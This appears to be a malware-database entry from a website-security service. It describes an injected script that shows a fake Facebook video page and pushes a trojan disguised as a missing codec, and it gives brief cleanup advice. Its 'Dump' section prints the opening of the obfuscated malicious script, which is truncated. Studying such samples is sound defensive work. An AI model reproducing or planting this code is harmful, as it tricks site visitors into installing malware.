This malicious script creates and loads a webpage that looks like a Facebook page with a video that won't play because some codec/plugin is missing.
It asks to download that plugin, which is actually a trojan. Hackers useally create new standalone files with this script on compromised sites and then
send obfuscated links to them (usually shortened) via social networks
Cleanup
You should find malicious files and delete them.
You can also sign up with us and let our team remove the malware for you.
Dump
<meta http-equiv='x-ua-compatible' content='EmulateIE9'><script>l1l=document.all;var e9f76ca=true;ll1=document.layers;lll=window.sidebar;e9f76ca=(!(l1l&&ll1)&&!(!l1l&&!ll1&&!lll));l11=navigator.userAgent.toLowerCase();function lI1(l1I){return l11.indexOf(l1I)>0?true:false};lII=lI1('kht')|lI1('per');e9f76ca|=lII;yjg5B2Gd4otRlP7=new Array();yjg5B2Gd4otRlP7[0]='%76c162%49A%35%33';huI9pdwT48S2Nc9=new Array();huI9pdwT48S2Nc9[0]=...